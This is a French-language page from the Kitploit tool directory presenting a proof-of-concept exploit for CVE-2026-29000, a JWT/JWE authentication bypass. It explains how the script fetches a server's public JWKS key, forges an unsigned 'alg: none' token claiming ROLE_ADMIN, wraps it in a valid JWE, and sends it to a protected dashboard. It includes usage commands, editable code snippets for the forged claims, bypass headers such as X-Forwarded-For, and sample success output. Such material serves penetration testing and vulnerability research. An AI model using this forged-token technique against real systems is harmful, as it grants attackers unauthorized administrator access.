Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-29000 — PoC de la CVE-2026-29000 | Kitploit
Outils/GitHubGitHub/zf-tm/cve-2026-29000
Authentification et AutorisationOutils de Chiffrement/DéchiffrementAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'Intrusion
GitHubzf-tm/cve-2026-29000

CVE-2026-29000

PoC de la CVE-2026-29000

Voir le dépôt
16il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

PoC de contournement d'authentification JWT/JWE

Un script de preuve de concept (PoC) démontrant une vulnérabilité de contournement d'authentification utilisant des JSON Web Tokens (JWT) et le chiffrement JSON Web Encryption (JWE). Cet outil exploite les environnements qui valident incorrectement les algorithmes de jeton en acceptant des JWT non vérifiés (alg: none) encapsulés dans une structure JWE valide.

Comment ça marche

Cette chaîne d'exploitation profite d'une faille courante d'implémentation cryptographique :

  1. Extraction de la clé : Le script contacte le point de terminaison jwks (JSON Web Key Set) exposé publiquement par la cible et télécharge la clé RSA publique du serveur.
  2. Falsification du jeton : Il fabrique un payload JWT factice et non vérifié accordant les privilèges ROLE_ADMIN. Il définit intentionnellement l'en-tête d'algorithme sur "alg": "none".
  3. Encapsulation JWE : Pour contourner les filtres de sécurité initiaux qui pourraient rejeter les jetons en clair ou non vérifiés, il chiffre le faux JWT en utilisant la clé publique du serveur, en l'intégrant dans un JWE valide.
  4. Authentification : Le JWE forgé est envoyé au tableau de bord protégé de la cible via l'en-tête Authorization: Bearer. Si le serveur déchiffre le JWE et fait aveuglément confiance au JWT interne sans vérifier sa signature, l'accès est accordé.

Prérequis

Avant d'exécuter le script, assurez-vous que Python 3 est installé ainsi que les dépendances nécessaires.

root@kitploit:~
pip install requests jwcrypto

Utilisation

Le script nécessite deux arguments : l'URL du tableau de bord cible que vous souhaitez tester et l'URL où sont hébergées les clés publiques.

root@kitploit:~
python3 exploit.py <TARGET_URL_OF_PROTECTED_ENDPOINT> <JWKS_ENDPOINT_URL>

Personnalisation de l'exploit

Selon votre cible, vous devrez peut-être ajuster la structure du jeton ou les requêtes HTTP pour contourner des filtres spécifiques.

  1. Personnalisation des en-têtes et du payload JWT internes

Si le serveur cible attend des champs spécifiques dans le JWT lui-même (comme un en-tête typ, ou des identifiants utilisateur personnalisés dans le payload), vous pouvez facilement les ajouter.

Ouvrez exploit.py et localisez cette section :

root@kitploit:~
token_header_information = {
    "alg": "none"
}
root@kitploit:~
token_user_information = {
    "sub": "admin",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": current_time_in_seconds,
    "exp": expiration_time_in_seconds
}

Vous pouvez ajouter les champs de votre choix séparés par des virgules. Par exemple, pour ajouter un typ (Type) et un kid (Key ID) à l'en-tête JWT, ainsi qu'un e-mail personnalisé au payload :

root@kitploit:~
token_header_information = {
    "alg": "none",
    "typ": "JWT",
    "kid": "my-custom-key-id"
}
root@kitploit:~
token_user_information = {
    "sub": "admin",
    "email": "[email protected]",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": current_time_in_seconds,
    "exp": expiration_time_in_seconds
}
  1. Personnalisation des en-têtes HTTP

Si votre cible exige des en-têtes réseau spécifiques (comme un User-Agent personnalisé, des en-têtes de contournement tels que X-Forwarded-For, ou des clés API), localisez la requête réseau en bas du script :

root@kitploit:~
custom_authorization_header = {
    "Authorization": "Bearer " + final_forged_token
}

Ajoutez vos en-têtes réseau supplémentaires de cette manière :

root@kitploit:~
custom_authorization_header = {
    "Authorization": "Bearer " + final_forged_token,
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
    "X-Forwarded-For": "127.0.0.1",
    "Accept": "application/json"
}

Remarque : Si vous avez également besoin d'envoyer ces en-têtes lors du téléchargement initial de la clé publique, vous pouvez passer ce même dictionnaire à l'appel requests.get() en haut du script.

Sortie attendue

En cas de succès, le script affichera le jeton forgé et la réponse analysée de l'endpoint restreint, prouvant le contournement :

root@kitploit:~
Starting process...
Connecting to download public keys from: https://target-site.com/api/auth/jwks
Success! Downloaded the key with ID: 12345-abcde
Creating a fake administrator identity card...
Encrypting our fake identity using the server's public key...
Successfully created the encrypted master token!

Here is your forged token:
eyJhbGciOiJSU0EtT0FFUC...

Attempting to break into the dashboard...
Sending our forged token to: https://target-site.com/api/dashboard

SUCCESS! We bypassed the security.
The server thinks we are:
Username: admin
Account Type: ROLE_ADMIN

Dépannage

  • Erreurs HTTP 401/403 : Le serveur cible valide correctement les signatures et rejette le payload alg: none. L'exploit a échoué parce que la cible est sécurisée.

  • Erreurs de connexion : Assurez-vous que les URL fournies incluent le schéma complet (http:// ou https://) et que le serveur cible est actuellement accessible.

  • Erreurs de dépendances : Assurez-vous que jwcrypto est correctement installé via pip.

Télécharger l’outil